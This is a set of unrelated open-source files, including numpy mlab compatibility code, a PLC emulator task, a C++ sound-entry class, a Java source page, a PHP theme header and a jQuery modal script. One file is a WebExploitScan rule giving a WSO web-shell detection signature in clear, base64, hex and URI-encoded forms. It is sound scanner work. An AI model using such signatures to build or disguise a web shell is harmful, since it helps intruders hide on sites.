assert(pre == factory.createStateSet(s2))
}
}
| fpoli/ctlmc | src/test/scala/bddgraph/GraphSpec.scala | Scala | gpl-3.0 | 3,242 |
# This module is for compatibility only. All functions are defined elsewhere.
__all__ = ['rand', 'tril', 'trapz', 'hanning', 'rot90', 'triu', 'diff', 'angle',
'roots', 'ptp', 'kaiser', 'randn', 'cumprod', 'diag', 'msort',
'LinearAlgebra', 'RandomArray', 'prod', 'std', 'hamming', 'flipud',
'max', 'blackman', 'corrcoef', 'bartlett', 'eye', 'squeeze', 'sinc',
'tri', 'cov', 'svd', 'min', 'median', 'fliplr', 'eig', 'mean']
import numpy.oldnumeric.linear_algebra as LinearAlgebra
import numpy.oldnumeric.random_array as RandomArray
from numpy import tril, trapz as _Ntrapz, hanning, rot90, triu, diff, \
angle, roots, ptp as _Nptp, kaiser, cumprod as _Ncumprod, \
diag, msort, prod as _Nprod, std as _Nstd, hamming, flipud, \
amax as _Nmax, amin as _Nmin, blackman, bartlett, \
squeeze, sinc, median, fliplr, mean as _Nmean, transpose
from numpy.linalg import eig, svd
from numpy.random import rand, randn
import numpy as np
from typeconv import convtypecode
def eye(N, M=None, k=0, typecode=None, dtype=None):
""" eye returns a N-by-M 2-d array where the k-th diagonal is all ones,
and everything else is zeros.
"""
dtype = convtypecode(typecode, dtype)
if M is None: M = N
m = np.equal(np.subtract.outer(np.arange(N), np.arange(M)),-k)
if m.dtype != dtype:
return m.astype(dtype)
def tri(N, M=None, k=0, typecode=None, dtype=None):
""" returns a N-by-M array where all the diagonals starting from
lower left corner up to the k-th are all ones.
"""
dtype = convtypecode(typecode, dtype)
if M is None: M = N
m = np.greater_equal(np.subtract.outer(np.arange(N), np.arange(M)),-k)
if m.dtype != dtype:
return m.astype(dtype)
def trapz(y, x=None, axis=-1):
return _Ntrapz(y, x, axis=axis)
def ptp(x, axis=0):
return _Nptp(x, axis)
def cumprod(x, axis=0):
return _Ncumprod(x, axis)
def max(x, axis=0):
return _Nmax(x, axis)
def min(x, axis=0):
return _Nmin(x, axis)
def prod(x, axis=0):
return _Nprod(x, axis)
def std(x, axis=0):
N = asarray(x).shape[axis]
return _Nstd(x, axis)*sqrt(N/(N-1.))
def mean(x, axis=0):
return _Nmean(x, axis)
# This is exactly the same cov function as in MLab
def cov(m, y=None, rowvar=0, bias=0):
if y is None:
y = m
else:
y = y
if rowvar:
m = transpose(m)
y = transpose(y)
if (m.shape[0] == 1):
m = transpose(m)
if (y.shape[0] == 1):
y = transpose(y)
N = m.shape[0]
if (y.shape[0] != N):
raise ValueError("x and y must have the same number of observations")
m = m - _Nmean(m,axis=0)
y = y - _Nmean(y,axis=0)
if bias:
fact = N*1.0
else:
fact = N-1.0
return squeeze(dot(transpose(m), conjugate(y)) / fact)
from numpy import sqrt, multiply
def corrcoef(x, y=None):
c = cov(x, y)
d = diag(c)
return c/sqrt(multiply.outer(d,d))
from compat import *
from functions import *
from precision import *
from ufuncs import *
from misc import *
import compat
import precision
import functions
import misc
import ufuncs
import numpy
__version__ = numpy.__version__
del numpy
__all__ += ['__version__']
__all__ += compat.__all__
__all__ += precision.__all__
__all__ += functions.__all__
__all__ += ufuncs.__all__
__all__ += misc.__all__
del compat
del functions
del precision
del ufuncs
del misc
| beiko-lab/gengis | bin/Lib/site-packages/numpy/oldnumeric/mlab.py | Python | gpl-3.0 | 3,566 |
<?php
/**
* WES WebExploitScan Web GPLv4 http://github.com/libre/webexploitscan
*
* The PHP page that serves all page requests on WebExploitScan installation.
*
* The routines here dispatch control to the appropriate handler, which then
* prints the appropriate page.
*
* All WebExploitScan code is released under the GNU General Public License.
* See COPYRIGHT.txt and LICENSE.txt.
*/
$NAME='Php-MS-PHP-Antimalware-Scanner malware_signature- ID 2369';
$TAGCLEAR='WSOsetcookie(md5(@?$_SERVER[[\'"]HTTP_HOST[\'"]])';
$TAGBASE64='V1NPc2V0Y29va2llKG1kNShAPyRfU0VSVkVSW1tcJyJdSFRUUF9IT1NUW1wnIl1dKQ==';
$TAGHEX='57534f736574636f6f6b6965286d643528403f245f5345525645525b5b5c27225d485454505f484f53545b5c27225d5d29';
$TAGHEXPHP='';
$TAGURI='WSOsetcookie%28md5%28%40%3F%24_SERVER%5B%5B%5C%27%22%5DHTTP_HOST%5B%5C%27%22%5D%5D%29';
$TAGCLEAR2='';
$TAGBASE642='';
$TAGHEX2='';
$TAGHEXPHP2='';
$TAGURI2='';
$DATEADD='10/09/2019';
$LINK='Webexploitscan.org ;Php-MS-PHP-Antimalware-Scanner malware_signature- ID 2369 ';
$ACTIVED='1';
$VSTATR='malware_signature';
| libre/webexploitscan | wes/data/rules/fullscan/10092019-MS-PHP-Antimalware-Scanner-2369-malware_signature.php | PHP | gpl-3.0 | 1,060 |
#include "config.h"
#include "hardware.h"
#include "data.h"
#include "instruction.h"
#include "rung.h"
#include "plclib.h"
#include "project.h"
int project_task(plc_t p)
{ //
/**************start editing here***************************/
BYTE one, two, three;
one = resolve(p, BOOL_DI, 1);
two = fe(p, BOOL_DI, 2);
three = re(p, BOOL_DI, 3);
/* contact(p,BOOL_DQ,1,one);
contact(p,BOOL_DQ,2,two);
contact(p,BOOL_DQ,3,three); */
if (one)
set(p, BOOL_TIMER, 0);
if (three)
reset(p, BOOL_TIMER, 0);
if (two)
down_timer(p, 0);
return 0;
/***************end of editable portion***********************/
}
int project_init()
{
/*********************same here******************************/
return 0;
}
| kalamara/plcemu | src/project.c | C | gpl-3.0 | 768 |
#include <vgStableHeaders.h>
#include "vgentry/vgSound3DEntry.h"
#include <vgUIController/vgPropertyPage.h>
#include <vgUIController/vgUIController.h>
#include <vgKernel/vgkVec3.h>
#include <vgMesh/vgmMeshManager.h>
//#include <vgMath/vgfVector3.h>
#include <vgKernel/vgkSelectManager.h>
PropertiesParam vgSound3DEntry::s_ParamArray[s_NumOfParam];
vgSound3DEntry::vgSound3DEntry(vgSound::Sound3D* renderer)
:vgBaseEntry( renderer )
{
sound= (vgSound::Sound3D *)renderer;
if (sound)
{
m_sCaption = sound->getName();
b_play = sound->getPlayFlag();
x = sound->getSoundPos().x + vgKernel::CoordSystem::getSingleton().getProjectionCoord().x;
y = sound->getSoundPos().y + vgKernel::CoordSystem::getSingleton().getProjectionCoord().y;
z = sound->getSoundPos().z + vgKernel::CoordSystem::getSingleton().getProjectionCoord().z;
zMinus = -z;
sound->registerObserver( this );
vgKernel::CoordSystem::getSingleton().registerObserver(this);
}
}
vgSound3DEntry::~vgSound3DEntry(void)
{
sound->unregisterObserver( this );
sound = NULL;
}
void vgSound3DEntry::OnPropertyChanged(string paramName)
{
z = - zMinus;
vgSound::Sound3D *sound = (vgSound::Sound3D *)m_Renderer;
vgKernel::Vec3 aa = vgKernel::CoordSystem::getSingleton().getProjectionCoord();
sound->setAbsolutePos( x - aa.x, y - aa.y ,z - aa.z);
/* sound->GenBoundaryBox(sound->getSoundPos());*/
sound->setPlayFlag( b_play );
if (b_play)
{
sound->startPlaying( true );
}
else
sound->stopPlaying();
// ¸üÐÂTREEITEM
vgUI::UIController::getSingleton().GetWorkSpaceBar()->SetItemText(hTreeItem, m_Renderer->getName());
vgKernel::SelectManager::getSingleton().updateBox();
}
void vgSound3DEntry::onChanged(int eventId, void *param)
{
if (eventId == vgKernel::VG_OBS_PROPCHANGED)
{
vgSound::Sound3D *sound = (vgSound::Sound3D *)m_Renderer;
vgKernel::Vec3 xx = sound->getSoundPos();
x = xx.x + vgKernel::CoordSystem::getSingleton().getProjectionCoord().x;
y = xx.y + vgKernel::CoordSystem::getSingleton().getProjectionCoord().y;
z = xx.z + vgKernel::CoordSystem::getSingleton().getProjectionCoord().z;
//TRACE("New Camera Position %.2f %.2f %.2f \n", posPtr->x, posPtr->y, posPtr->z);
if (this == vgUI::UIController::getSingleton().GetCurrentSelectedNode())
{
s_ParamArray[1].pProp->SetValue(x);
s_ParamArray[2].pProp->SetValue(y);
zMinus = -z;
s_ParamArray[3].pProp->SetValue(zMinus);
}
}
if (eventId == vgKernel::VG_OBS_SELECTCHAGNED)
{
vgUI::UIController::getSingleton().SelectNode(this);
}
if (eventId == vgKernel::VG_OBS_ADDSELECTION)
{
vgUI::UIController::getSingleton().AddSelection(this);
return ;
}
}
void vgSound3DEntry::AddNodeTabs()
{
vgUI::UIController::getSingleton().RemoveAllPages();
vgPropertiesViewBar* pageViewBar = vgUI::UIController::getSingleton().GetPropertiesViewBar();
s_ParamArray[0].label = "×ø±êÖµÉèÖÃ";
s_ParamArray[0].typeId = PROP_ITEM_GROUP;
s_ParamArray[0].dataType = PROP_DATA_NONE;
s_ParamArray[0].connectedPtr = NULL;
s_ParamArray[0].comment = "ÉèÖÃÏà»úµÄ×ø±ê";
s_ParamArray[1].label = "X ×ø±ê";
s_ParamArray[1].typeId = PROP_ITEM_DATA;
s_ParamArray[1].dataType = PROP_DATA_FLOAT;
s_ParamArray[1].connectedPtr = &x;
s_ParamArray[1].comment = "ÉèÖÃX×ø±ê";
s_ParamArray[2].label = "Y ×ø±ê";
s_ParamArray[2].typeId = PROP_ITEM_DATA;
s_ParamArray[2].dataType = PROP_DATA_FLOAT;
s_ParamArray[2].connectedPtr = &y;
s_ParamArray[2].comment = "ÉèÖÃY×ø±ê";
s_ParamArray[3].label = "Z ×ø±ê";
s_ParamArray[3].typeId = PROP_ITEM_DATA;
s_ParamArray[3].dataType = PROP_DATA_FLOAT;
s_ParamArray[3].connectedPtr = &zMinus;
s_ParamArray[3].comment = "ÉèÖÃZ×ø±ê";
s_ParamArray[4].label = "ÆäËûÉèÖÃ";
s_ParamArray[4].typeId = PROP_ITEM_GROUP;
s_ParamArray[4].dataType = PROP_DATA_NONE;
s_ParamArray[4].connectedPtr = NULL;
s_ParamArray[4].comment = string();
s_ParamArray[5].label = "ÒôЧÃû³Æ";
s_ParamArray[5].typeId = PROP_ITEM_DATA;
s_ParamArray[5].dataType = PROP_DATA_STR;
s_ParamArray[5].connectedPtr = m_Renderer->getNamePtr();
s_ParamArray[5].comment = "ÎïÌåµÄÃû³Æ";
s_ParamArray[6].label = "ÊÇ·ñ²¥·Å";
s_ParamArray[6].typeId = PROP_ITEM_DATA;
s_ParamArray[6].dataType = PROP_DATA_BOOL;
s_ParamArray[6].connectedPtr = &b_play;
s_ParamArray[6].comment = "ÊÇ·ñ²¥·Å";
vgPropertyPage* propPage = vgUI::UIController::getSingleton().GetPropPage();
propPage->Create(NIDD_PROPERTY, pageViewBar->GetTabControl());
propPage->ConnectNode(this, s_ParamArray, s_NumOfParam);
pageViewBar->AddTab("×Ô¶¯ÊôÐÔ", propPage);
}
CMenu* vgSound3DEntry::GetContextMenu()
{
CMenu *menu = new CMenu;
VERIFY(menu->CreatePopupMenu());
// VERIFY(menu->AppendMenu(MF_STRING, NID_MESH_GOTO, _T("תµ½")));
VERIFY(menu->AppendMenu(MF_STRING, NID_MESH_DELETE,_T("ɾ³ý")));
return menu;
}
| xzy0008/sample_code | SAMPLE_CODE/src/vgEntry/vgSound3DEntry.cpp | C++ | gpl-3.0 | 4,971 |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<title>CommandManager xref</title>
<link type="text/css" rel="stylesheet" href="../../../../stylesheet.css" />
</head>
<body>
<div id="overview"><a href="../../../../../apidocs/fspotcloud/server/model/command/CommandManager.html">View Javadoc</a></div><pre>
<a class="jxr_linenumber" name="1" href="#1">1</a> <strong class="jxr_keyword">package</strong> fspotcloud.server.model.command;
<a class="jxr_linenumber" name="2" href="#2">2</a>
<a class="jxr_linenumber" name="3" href="#3">3</a> <strong class="jxr_keyword">import</strong> java.util.List;
<a class="jxr_linenumber" name="4" href="#4">4</a>
<a class="jxr_linenumber" name="5" href="#5">5</a> <strong class="jxr_keyword">import</strong> javax.jdo.PersistenceManager;
<a class="jxr_linenumber" name="6" href="#6">6</a> <strong class="jxr_keyword">import</strong> javax.jdo.Query;
<a class="jxr_linenumber" name="7" href="#7">7</a>
<a class="jxr_linenumber" name="8" href="#8">8</a> <strong class="jxr_keyword">import</strong> com.google.inject.Inject;
<a class="jxr_linenumber" name="9" href="#9">9</a> <strong class="jxr_keyword">import</strong> com.google.inject.Provider;
<a class="jxr_linenumber" name="10" href="#10">10</a>
<a class="jxr_linenumber" name="11" href="#11">11</a> <strong class="jxr_keyword">import</strong> fspotcloud.server.model.api.Command;
<a class="jxr_linenumber" name="12" href="#12">12</a> <strong class="jxr_keyword">import</strong> fspotcloud.server.model.api.Commands;
<a class="jxr_linenumber" name="13" href="#13">13</a>
<a class="jxr_linenumber" name="14" href="#14">14</a> <strong class="jxr_keyword">public</strong> <strong class="jxr_keyword">class</strong> <a href="../../../../fspotcloud/server/model/command/CommandManager.html">CommandManager</a> <strong class="jxr_keyword">implements</strong> <a href="../../../../fspotcloud/server/model/api/Commands.html">Commands</a> {
<a class="jxr_linenumber" name="15" href="#15">15</a>
<a class="jxr_linenumber" name="16" href="#16">16</a> <strong class="jxr_keyword">private</strong> <strong class="jxr_keyword">final</strong> Provider<PersistenceManager> pmProvider;
<a class="jxr_linenumber" name="17" href="#17">17</a>
<a class="jxr_linenumber" name="18" href="#18">18</a> @Inject
<a class="jxr_linenumber" name="19" href="#19">19</a> <strong class="jxr_keyword">public</strong> <a href="../../../../fspotcloud/server/model/command/CommandManager.html">CommandManager</a>(Provider<PersistenceManager> pmProvider) {
<a class="jxr_linenumber" name="20" href="#20">20</a> <strong class="jxr_keyword">this</strong>.pmProvider = pmProvider;
<a class="jxr_linenumber" name="21" href="#21">21</a> }
<a class="jxr_linenumber" name="22" href="#22">22</a>
<a class="jxr_linenumber" name="23" href="#23">23</a> <em class="jxr_comment">/*</em>
<a class="jxr_linenumber" name="24" href="#24">24</a> <em class="jxr_comment"> * (non-Javadoc)</em>
<a class="jxr_linenumber" name="25" href="#25">25</a> <em class="jxr_comment"> * </em>
<a class="jxr_linenumber" name="26" href="#26">26</a> <em class="jxr_comment"> * @see fspotcloud.server.model.command.Commands#create()</em>
<a class="jxr_linenumber" name="27" href="#27">27</a> <em class="jxr_comment"> */</em>
<a class="jxr_linenumber" name="28" href="#28">28</a> <strong class="jxr_keyword">public</strong> <a href="../../../../fspotcloud/server/model/api/Command.html">Command</a> create() {
<a class="jxr_linenumber" name="29" href="#29">29</a> <strong class="jxr_keyword">return</strong> <strong class="jxr_keyword">new</strong> <a href="../../../../fspotcloud/server/model/command/CommandDO.html">CommandDO</a>();
<a class="jxr_linenumber" name="30" href="#30">30</a> }
<a class="jxr_linenumber" name="31" href="#31">31</a>
<a class="jxr_linenumber" name="32" href="#32">32</a> <em class="jxr_comment">/*</em>
<a class="jxr_linenumber" name="33" href="#33">33</a> <em class="jxr_comment"> * (non-Javadoc)</em>
<a class="jxr_linenumber" name="34" href="#34">34</a> <em class="jxr_comment"> * </em>
<a class="jxr_linenumber" name="35" href="#35">35</a> <em class="jxr_comment"> * @see fspotcloud.server.model.command.Commands#popOldestCommand()</em>
<a class="jxr_linenumber" name="36" href="#36">36</a> <em class="jxr_comment"> */</em>
<a class="jxr_linenumber" name="37" href="#37">37</a> @SuppressWarnings(<span class="jxr_string">"unchecked"</span>)
<a class="jxr_linenumber" name="38" href="#38">38</a> <strong class="jxr_keyword">public</strong> Object[] popOldestCommand() {
<a class="jxr_linenumber" name="39" href="#39">39</a> PersistenceManager pm = pmProvider.get();
<a class="jxr_linenumber" name="40" href="#40">40</a> <strong class="jxr_keyword">try</strong> {
<a class="jxr_linenumber" name="41" href="#41">41</a> Query query = pm.newQuery(CommandDO.<strong class="jxr_keyword">class</strong>);
<a class="jxr_linenumber" name="42" href="#42">42</a> query.setOrdering(<span class="jxr_string">"ctime"</span>);
<a class="jxr_linenumber" name="43" href="#43">43</a> query.setRange(0, 1);
<a class="jxr_linenumber" name="44" href="#44">44</a> List<CommandDO> cmdList = (List<CommandDO>) query.execute();
<a class="jxr_linenumber" name="45" href="#45">45</a> <strong class="jxr_keyword">if</strong> (cmdList.size() > 0) {
<a class="jxr_linenumber" name="46" href="#46">46</a> Command oldest = cmdList.get(0);
<a class="jxr_linenumber" name="47" href="#47">47</a> Object[] result = <strong class="jxr_keyword">new</strong> Object[2];
<a class="jxr_linenumber" name="48" href="#48">48</a> result[0] = oldest.getCmd();
<a class="jxr_linenumber" name="49" href="#49">49</a> result[1] = oldest.getArgs().toArray();
<a class="jxr_linenumber" name="50" href="#50">50</a> pm.deletePersistent(oldest);
<a class="jxr_linenumber" name="51" href="#51">51</a> <strong class="jxr_keyword">return</strong> result;
<a class="jxr_linenumber" name="52" href="#52">52</a> } <strong class="jxr_keyword">else</strong> {
<a class="jxr_linenumber" name="53" href="#53">53</a> <strong class="jxr_keyword">return</strong> <strong class="jxr_keyword">new</strong> Object[] {};
<a class="jxr_linenumber" name="54" href="#54">54</a> }
<a class="jxr_linenumber" name="55" href="#55">55</a> } <strong class="jxr_keyword">finally</strong> {
<a class="jxr_linenumber" name="56" href="#56">56</a> pm.close();
<a class="jxr_linenumber" name="57" href="#57">57</a> }
<a class="jxr_linenumber" name="58" href="#58">58</a> }
<a class="jxr_linenumber" name="59" href="#59">59</a>
<a class="jxr_linenumber" name="60" href="#60">60</a> <em class="jxr_comment">/*</em>
<a class="jxr_linenumber" name="61" href="#61">61</a> <em class="jxr_comment"> * (non-Javadoc)</em>
<a class="jxr_linenumber" name="62" href="#62">62</a> <em class="jxr_comment"> * </em>
<a class="jxr_linenumber" name="63" href="#63">63</a> <em class="jxr_comment"> * @see</em>
<a class="jxr_linenumber" name="64" href="#64">64</a> <em class="jxr_comment"> * fspotcloud.server.model.command.Commands#allReadyExists(java.lang.String,</em>
<a class="jxr_linenumber" name="65" href="#65">65</a> <em class="jxr_comment"> * java.util.List)</em>
<a class="jxr_linenumber" name="66" href="#66">66</a> <em class="jxr_comment"> */</em>
<a class="jxr_linenumber" name="67" href="#67">67</a> @SuppressWarnings(<span class="jxr_string">"unchecked"</span>)
<a class="jxr_linenumber" name="68" href="#68">68</a> <strong class="jxr_keyword">public</strong> <strong class="jxr_keyword">boolean</strong> allReadyExists(String cmd, List<String> args) {
<a class="jxr_linenumber" name="69" href="#69">69</a> PersistenceManager pm = pmProvider.get();
<a class="jxr_linenumber" name="70" href="#70">70</a> <strong class="jxr_keyword">try</strong> {
<a class="jxr_linenumber" name="71" href="#71">71</a> Query query = pm.newQuery(CommandDO.<strong class="jxr_keyword">class</strong>);
<a class="jxr_linenumber" name="72" href="#72">72</a> query.setFilter(<span class="jxr_string">"cmd == cmdParam && argsString == argsStringParam"</span>);
<a class="jxr_linenumber" name="73" href="#73">73</a> query.declareParameters(<span class="jxr_string">"String cmdParam, String argsStringParam"</span>);
<a class="jxr_linenumber" name="74" href="#74">74</a> List<CommandDO> rs = (List<CommandDO>) query.execute(cmd,
<a class="jxr_linenumber" name="75" href="#75">75</a> String.valueOf(args));
<a class="jxr_linenumber" name="76" href="#76">76</a> <strong class="jxr_keyword">return</strong> rs.size() > 0;
<a class="jxr_linenumber" name="77" href="#77">77</a> } <strong class="jxr_keyword">finally</strong> {
<a class="jxr_linenumber" name="78" href="#78">78</a> pm.close();
<a class="jxr_linenumber" name="79" href="#79">79</a> }
<a class="jxr_linenumber" name="80" href="#80">80</a> }
<a class="jxr_linenumber" name="81" href="#81">81</a>
<a class="jxr_linenumber" name="82" href="#82">82</a> <em class="jxr_comment">/*</em>
<a class="jxr_linenumber" name="83" href="#83">83</a> <em class="jxr_comment"> * (non-Javadoc)</em>
<a class="jxr_linenumber" name="84" href="#84">84</a> <em class="jxr_comment"> * </em>
<a class="jxr_linenumber" name="85" href="#85">85</a> <em class="jxr_comment"> * @see</em>
<a class="jxr_linenumber" name="86" href="#86">86</a> <em class="jxr_comment"> * fspotcloud.server.model.command.Commands#save(fspotcloud.server.model</em>
<a class="jxr_linenumber" name="87" href="#87">87</a> <em class="jxr_comment"> * .command.Command)</em>
<a class="jxr_linenumber" name="88" href="#88">88</a> <em class="jxr_comment"> */</em>
<a class="jxr_linenumber" name="89" href="#89">89</a> <strong class="jxr_keyword">public</strong> <strong class="jxr_keyword">void</strong> save(<a href="../../../../fspotcloud/server/model/api/Command.html">Command</a> c) {
<a class="jxr_linenumber" name="90" href="#90">90</a> PersistenceManager pm = pmProvider.get();
<a class="jxr_linenumber" name="91" href="#91">91</a> <strong class="jxr_keyword">try</strong> {
<a class="jxr_linenumber" name="92" href="#92">92</a> pm.makePersistent(c);
<a class="jxr_linenumber" name="93" href="#93">93</a> } <strong class="jxr_keyword">finally</strong> {
<a class="jxr_linenumber" name="94" href="#94">94</a> pm.close();
<a class="jxr_linenumber" name="95" href="#95">95</a> }
<a class="jxr_linenumber" name="96" href="#96">96</a> }
<a class="jxr_linenumber" name="97" href="#97">97</a>
<a class="jxr_linenumber" name="98" href="#98">98</a> @Override
<a class="jxr_linenumber" name="99" href="#99">99</a> <strong class="jxr_keyword">public</strong> <strong class="jxr_keyword">int</strong> getCountUnderAThousend() {
<a class="jxr_linenumber" name="100" href="#100">100</a> PersistenceManager pm = pmProvider.get();
<a class="jxr_linenumber" name="101" href="#101">101</a> <strong class="jxr_keyword">int</strong> count = -1;
<a class="jxr_linenumber" name="102" href="#102">102</a> <strong class="jxr_keyword">try</strong> {
<a class="jxr_linenumber" name="103" href="#103">103</a> Query query = pm.newQuery(CommandDO.<strong class="jxr_keyword">class</strong>);
<a class="jxr_linenumber" name="104" href="#104">104</a> List<CommandDO> rs = (List<CommandDO>) query.execute();
<a class="jxr_linenumber" name="105" href="#105">105</a> count = rs.size();;
<a class="jxr_linenumber" name="106" href="#106">106</a> } <strong class="jxr_keyword">finally</strong> {
<a class="jxr_linenumber" name="107" href="#107">107</a> pm.close();
<a class="jxr_linenumber" name="108" href="#108">108</a> }
<a class="jxr_linenumber" name="109" href="#109">109</a>
<a class="jxr_linenumber" name="110" href="#110">110</a> <strong class="jxr_keyword">return</strong> count;
<a class="jxr_linenumber" name="111" href="#111">111</a> }
<a class="jxr_linenumber" name="112" href="#112">112</a>
<a class="jxr_linenumber" name="113" href="#113">113</a> }
</pre>
<hr/><div id="footer">This page was automatically generated by <a href="http://maven.apache.org/">Maven</a></div></body>
</html>
| slspeek/FSpotCloudSite | xref/fspotcloud/server/model/command/CommandManager.html | HTML | gpl-3.0 | 12,482 |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Natural Europe Pathways <?php echo isset($title) ? ' | ' . strip_formatting($title) : ''; ?></title>
<!-- Meta -->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="description" content="Pathway test!" />
<meta name="Keywords" content="pathways">
<?php //echo auto_discovery_link_tag(); ?>
<?php
$findme="students"; $pos = stripos($_SERVER['REQUEST_URI'],$findme);
$findme_exh="exhibits"; $pos_exhib = stripos($_SERVER['REQUEST_URI'],$findme_exh);
$findme_exh2="/exhibits/"; $pos_exhib2 = stripos($_SERVER['REQUEST_URI'],$findme_exh2);
$findme_resources = "resources"; $pos_resources = stripos($_SERVER['REQUEST_URI'],$findme_resources);
$findme_home = "home"; $pos_home = stripos($_SERVER['REQUEST_URI'],$findme_home);
$findme_collections = "collection"; $pos_collections = 0; $pos_collections = stripos($_SERVER['REQUEST_URI'],$findme_collections);
$findme_edu="educators"; $pos_edu = stripos($_SERVER['REQUEST_URI'],$findme_edu);
$findme_search="search"; $pos_search = stripos($_SERVER['REQUEST_URI'],$findme_search);
$findme_users="users"; $pos_users = stripos($_SERVER['REQUEST_URI'],$findme_users);
$findme_glos="glossary"; $pos_glos = stripos($_SERVER['REQUEST_URI'],$findme_glos);
$findme_res="research"; $pos_res = stripos($_SERVER['REQUEST_URI'],$findme_res);
$findme_disc="eid"; $pos_disc = stripos($_SERVER['REQUEST_URI'],$findme_disc);
?>
<!-- Stylesheets -->
<?php if(isset($_GET['nhm']) and $_GET['nhm']=='MNHN'){ ?>
<link rel="stylesheet" type="text/css" href="<?php echo uri('themes/natural/css/page_mnhn.css'); ?>"/>
<?php } elseif(isset($_GET['nhm']) and $_GET['nhm']=='TNHM'){ ?>
<link rel="stylesheet" type="text/css" href="<?php echo uri('themes/natural/css/page_tnhm.css'); ?>"/>
<?php } elseif(isset($_GET['nhm']) and $_GET['nhm']=='NHMC'){ ?>
<link rel="stylesheet" type="text/css" href="<?php echo uri('themes/natural/css/page_tnhm.css'); ?>"/>
<?php } elseif(isset($_GET['nhm']) and $_GET['nhm']=='HNHM'){ ?>
<link rel="stylesheet" type="text/css" href="<?php echo uri('themes/natural/css/page_tnhm.css'); ?>"/>
<?php } elseif(isset($_GET['nhm']) and $_GET['nhm']=='JME'){ ?>
<link rel="stylesheet" type="text/css" href="<?php echo uri('themes/natural/css/page_tnhm.css'); ?>"/>
<?php } elseif(isset($_GET['nhm']) and $_GET['nhm']=='AC'){ ?>
<link rel="stylesheet" type="text/css" href="<?php echo uri('themes/natural/css/page_tnhm.css'); ?>"/>
<?php } else{ ?>
<link rel="stylesheet" type="text/css" href="<?php echo uri('themes/natural/css/page.css'); ?>"/>
<?php } ?>
<link rel="shortcut icon" href="./images/fav.ico" />
<link rel="stylesheet" type="text/css" href="<?php echo uri('themes/natural/lightview/css/lightview.css');?>" />
<link rel="stylesheet" type="text/css" href="<?php echo uri('themes/natural/css/typography.css');?>"/>
<!--[if lt IE 8]><link href="<?php echo uri('themes/natural/css/page_ie7.css');?>" rel="stylesheet" type="text/css" media="screen" /><![endif]-->
<!-- JavaScripts -->
<script type="text/javascript" src="<?php echo uri('themes/natural/scripts/ajax/ajax.js');?>"></script>
<script type="text/javascript" src="<?php echo uri('themes/natural/scripts/ajax/ajax_chained.js');?>"></script>
<?php if ($pos_collections>'0'){ } else{
echo '<script type="text/javascript" src="'.uri('themes/natural/lightview/prototype.js').'"></script>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/scriptaculous/1.8.2/scriptaculous.js"></script>';
}
?>
<script type='text/javascript' src="<?php echo uri('themes/natural/lightview/js/lightview.js');?>"></script>
<script type='text/javascript' src="<?php echo uri('themes/natural/scripts/functions.js');?>"></script>
<?php if ($pos_exhib2>0){ ?>
<link rel="stylesheet" type="text/css" href="<?php echo uri('themes/natural/css/jquery.jscrollpane.css'); ?>"/>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script>jQuery.noConflict();</script>
<?php } else{ ?>
<script type="text/javascript" language="javascript" src="<?php echo uri('themes/natural/javascripts/jquery.js'); ?>"></script>
<script>
jQuery.noConflict();
</script>
<?php } ?>
<script type="text/javascript" language="javascript" src="<?php echo uri('themes/natural/javascripts/main_tooltip.js'); ?>"></script>
<!-- Plugin Stuff -->
<?php echo plugin_header(); ?>
<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-28875549-1']);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script>
</head>
<body>
<?php
session_start();
// store session data
$locale = Zend_Registry::get('Zend_Locale');
$_SESSION['get_language']=get_language_for_switch();
$_SESSION['get_language_omeka']=get_language_for_omeka_switch();
$_SESSION['get_language_for_internal_xml']=get_language_for_internal_xml();
?>
<div id="page-container">
<?php if(isset($_GET['nhm']) and ($_GET['nhm']=='MNHN' or $_GET['nhm']=='TNHM' or $_GET['nhm']=='NHMC' or $_GET['nhm']=='JME' or $_GET['nhm']=='HNHM' or $_GET['nhm']=='AC')){ ?>
<?php } else{ ?>
<div id="page-header">
<div style="float:left;"><h1><a href="<?php echo uri('index');?>"><img src="<?php echo uri('themes/natural/images/interface/logonatural.png'); ?>"></a></a></h1></div><!--end rx div-->
<div id="nav-site-supplementary" class="menubar">
<ul id="nav-site-supplementary-menu">
<li><a href="<?php echo uri('admin/users/login');?>" title="Sign-in"><?php echo __('Sign-in'); ?></a></li>
</ul><!--end nav-site-supplementary-menu ul-->
</div><!--end nav-site-supplementary div-->
</div><!--end page-header div-->
<div id="languages" style="position: absolute; top: 150px; right: 10px; width: 200px;">
<?php echo language_switcher(); ?>
</div>
<?php } ?>
| agroknow/PAT | application/views/scripts/common/header.php | PHP | gpl-3.0 | 6,482 |
!function(namespace) {
'use strict';
function Modal(elem, params) {
this.$element = jQuery(elem);
this.params = params || {};
this.cssReadyElement = this.params.cssReadyElement || 'JS-Modal-ready';
this.cssActiveElement = this.params.cssActiveElement || 'JS-Modal-active';
this.__construct();
}
Modal.prototype.__construct = function __construct() {
this.$box = this.$element.find('.JS-Modal-Box');
this.$close = this.$element.find('.JS-Modal-Close');
this.$title = this.$element.find('.JS-Modal-Title');
this.$container = this.$element.find('.JS-Modal-Container');
this._init();
};
Modal.prototype._init = function _init() {
var _this = this;
this.$close.on('click.JS-Modal', function() { _this._close.apply(_this, []); });
$('body').on("keyup", function(e) {
if ((e.keyCode == 27)) {
_this._close.apply(_this, []);
}
});
$('.JS-Gannt-Modal').click(function() {
if (_this.$element.hasClass('JS-Modal-active'))
_this._close.apply(_this, []);
});
$('.JS-Modal-Box').click(function(event){
event.stopPropagation();
});
/* API. Events */
this.$element.on('modal:setContent', function(e, data) { _this.setContent.apply(_this, [data]); });
